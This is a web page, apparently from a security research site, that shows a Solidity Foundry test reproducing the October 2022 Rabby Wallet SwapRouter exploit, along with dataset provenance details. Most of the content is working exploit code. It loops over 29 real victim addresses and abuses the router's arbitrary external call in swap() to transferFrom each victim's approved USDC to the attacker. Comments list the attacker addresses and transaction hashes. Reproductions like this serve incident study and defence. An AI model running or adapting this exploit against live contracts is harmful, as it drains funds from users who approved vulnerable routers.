Skip to content
THREATWIRE

Public reproduction file

src/test/2022-10/RabbyWallet_SwapRouter_exp.sol

Public reproduction file for dataset entry Rabby Wallet SwapRouter.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-10/RabbyWallet_SwapRouter_exp.sol147 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~200,000 US$
8// Attacker : 0xb687550842a24d7fbc6aad238fd7e0687ed59d55
9// Attack Contract : 0x9682f31b3f572988f93c2b8382586ca26a866475
10// Vulnerable Contract : 0x6eb211caf6d304a76efe37d9abdfaddc2d4363d1 and these: https://twitter.com/Rabby_io/status/1579833969566449666
11// Attack Txs :
12// 0x914c1ae4f03657064f0b1d5ddc6e06f39e82bce6fb2f726efdca52c092fbfc26
13// 0xa02c180149ce03d1b6e3d412585000b968b7db59a277717ec51d0899c1a3c017
14// 0x914c1ae4f03657064f0b1d5ddc6e06f39e82bce6fb2f726efdca52c092fbfc26
15// 0xf1c1066c259672396b8f242311a9f1c83bfa52c27529d713d80a3da93047c37f
16// 0x53835af1b7df33435188d2380328b81c0e8a22b01353c76e3dac352275895b45
17// 0x322592750691798488006a26aa042b55ab9d7637f9b0adc42089a4c480e51870
18// 0xce0935010baf445e300d4d600caac7fc1fecb5ccb092cdbef57904aa7e5408b2
19// 0x366df0c20e00666749b16ae00475b3c41834dc659ebb29e059aa9bffa892c038
20// 0x9fac5412eb42aab07dcb2c5fbb03669aaa98d9c57849d44d8291d3156d9f4871
21// 0xff1f352912666796d5cd51b5dfa3e6319544aeb5938e1e9f310fd5fcb02be6da
22// 0x84156ea5360b679dfa7cdda80c16aafbfdf1ba20b84bcf76f79666f0c405b86f
23// 0xc10ec615e2d18c8a7dad2bb2418c422472565d9622ed851298fc848c3a451387
24// 0x7cefbfd14497b1c577423d94ea521615991eee2590fab980230d9dd1d80ccf1c
25// 0x8bcac5e570aa695b5e0ce7dd58766eaa5830f44bbef5008aef63c6efb036e717
26// 0xb3af75f703ddc5d15ff872585b7d970c5204b90399a5859ec39e736a2ffbf375
27// 0x708ffcf4a76bd159056afb17ce6c5f5adcb5899e465bbf038aae79c3cef666ae
28// 0xca53e107a9a21d8f431614570a98c4718cca7172415e3fbed8842d426ac3ab54
29// 0x5bbab18059f8c3fec56a0ddcd15feddf7cda8b8007b254436956db1d9ffe72ec
30// 0x6899b8caee16dbd75359cabcd24e32b2362c474cdf39ea810cf4386018761beb
31// 0x07887fffc4488354d813fdcca5da0586dd6f9a3da36d503af768302eacbeec41
32// Reproduce Tx: Steal USDC - 0x914c1ae4f03657064f0b1d5ddc6e06f39e82bce6fb2f726efdca52c092fbfc26
34// @Analysis
35// Twitter Supremacy : https://twitter.com/Supremacy_CA/status/1579813933669486592
36// Twitter SlowMist : https://twitter.com/SlowMist_Team/status/1579839744128978945
37// Twitter Beosin Alert : https://twitter.com/BeosinAlert/status/1579856733178331139
39// Root cause : Classic arbitrary external call vulnerability
40// Multiple tokens has been stolen, and 114 ETH deposited to Tornado Cash
42contract ContractTest is Test {
43 IRabbySwap constant RABBYSWAP_ROUTER = IRabbySwap(0x6eb211CAF6d304A76efE37D9AbDFAdDC2d4363d1);
44 IUSDT constant USDT_TOKEN = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
45 IUSDC constant USDC_TOKEN = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
47 function setUp() public {
48 vm.createSelectFork("mainnet", 15_724_451);
49 vm.label(address(RABBYSWAP_ROUTER), "RABBYSWAP_ROUTER");
50 vm.label(address(USDT_TOKEN), "USDT_TOKEN");
51 vm.label(address(USDC_TOKEN), "USDC_TOKEN");
52 }
54 function testExploit() public {
55 emit log_named_decimal_uint(
56 "[Start] Attacker USDC balance before exploit", USDC_TOKEN.balanceOf(address(this)), 6
57 );
59 // Somehow attacker got these EOA addresses that approved the Rabby Wallet Swap Router contract.
60 // ...Maybe the attacker grepped the history Txs and found those victims that interacted with the Swap Router contract.
61 address[29] memory victims = [
62 0x94228872bb16CBCDfe010c42a8e456d15B366bF1,
63 0x6a3BCee1eBeBDaA099a46d21a355D0FF1C521fCB,
64 0xDAcCce559a0571083556f39d05b177579613D83b,
65 0x720610ed4925676D971B0ae5b3080bd233E19038,
66 0xf9e1D1e9F22c96752356AdFd377231528c7E851E,
67 0xAF22b1692dEe5929952cFBA4D9a74c0952C712C8,
68 0xFcdB212E7e7588D2dd2cc44C30F6C79fB507DB4B,
69 0x9A93C5f7680724F6b7097085B0052A56D80615Bd,
70 0x491968b05D95979BA3a52D73D8a39EA96693f011,
71 0xc64284527B04A48c6673dF62f5B48188Ccfdf658,
72 0x9df99a08710615FaBcb16Ea0b05ED039e8a5F644,
73 0xc897967Bab363caDD4F3001d51506bCc5DD6f6C2,
74 0x48aa9d67cb713804C005516BCa7769c159d7897C,
75 0xB9AFb68de4E1f89acA813ca75d87bd86a1a17aa3,
76 0xC10898edA672fDFc4Ac0228bB1Da9b2bF54C768f,
77 0x73B37009778048f6dB88fD602582473e74e5019a,
78 0xbB4b297cC5257D8ab7F280361C96b3A27014EbBb,
79 0x5BE2539BaA7622865FDc401bA26adB636d78f5Bf,
80 0x25939E70Dc19ef0aa2819f5c6544712a36eEbfa7,
81 0x5853eD4f26A3fceA565b3FBC698bb19cdF6DEB85,
82 0x73a6b16aD155aCd15F1A69e61369DB883dFC0b0b,
83 0xE451DC0948F33B1261c585f0DB84cca9Ab69F3A4,
84 0xd38023D7Ee559672fA00eA5156734710bcc0e781,
85 0x059c1592696D430E7bA8cccC984BA9639b8CF90B,
86 0x69AfE88F22F416fFB7d2Bf119b31EBc0D0d85325,
87 0xD506Fb416B0ad8DBf7859B9B38c435405E3d1110,
88 0xe7b6804A9fE8aDEb109112A8A2CF40093E0d55fc,
89 0xeEBbAf298bb8B5076723d69AF61bf75a5C2ad8d6,
90 0x1Fc550e98aD3021e32C47A84019F77a0792c60B7
91 ];
93 for (uint256 i; i < victims.length; ++i) {
94 // Step 1: Check the victim's USDC balance and allowance to RABBYSWAP_ROUTER
95 uint256 vic_balance = USDC_TOKEN.balanceOf(victims[i]);
96 uint256 vic_allowance = USDC_TOKEN.allowance(victims[i], address(RABBYSWAP_ROUTER));
98 // Step 2: If allowance >= balance: exploit!
99 if (vic_allowance >= vic_balance) {
100 // Classic arbitrary external calls `swap()` vulnerability, and the parameter `address dexRouter` is controllable.
101 bytes memory usdc_callbackData = abi.encodeWithSignature(
102 "transferFrom(address,address,uint256)", victims[i], address(this), vic_balance
103 );
104 RABBYSWAP_ROUTER.swap(
105 address(USDT_TOKEN),
106 0,
107 address(this),
108 4660,
109 address(USDC_TOKEN),
110 address(USDC_TOKEN),
111 usdc_callbackData,
112 block.timestamp
113 );
114 }
115 }
117 emit log_named_decimal_uint(
118 "[End] Attacker USDC balance before exploit", USDC_TOKEN.balanceOf(address(this)), 6
119 );
120 }
122 function balanceOf(
123 address
124 ) external pure returns (uint256) {
125 return 100e18;
126 }
128 function transfer(address, uint256) external pure returns (bool) {
129 return true;
130 }
132 receive() external payable {}
135/* -------------------- RabbySwap Interface -------------------- */
136interface IRabbySwap {
137 function swap(
138 address srcToken,
139 uint256 amount,
140 address dstToken,
141 uint256 minReturn,
142 address dexRouter,
143 address dexSpender,
144 bytes memory data,
145 uint256 deadline
146 ) external;

Analysis

Dataset entry

Public Foundry test for “Rabby Wallet SwapRouter” (2022-10-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xb687550842a24d7fbc6aad238fd7e0687ed59d55

  • Attack Contract

    0x9682f31b3f572988f93c2b8382586ca26a866475

  • Vulnerable Contract

    0x6eb211caf6d304a76efe37d9abdfaddc2d4363d1

File record

Name
Rabby Wallet SwapRouter
Path
src/test/2022-10/RabbyWallet_SwapRouter_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
20f9ba39e00989611398663d3440926bfad6e756
Language
Solidity
Size
148 lines
Date
2022-10-11
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-10/RabbyWallet_SwapRouter_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 20f9ba39e00989611398663d3440926bfad6e756, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.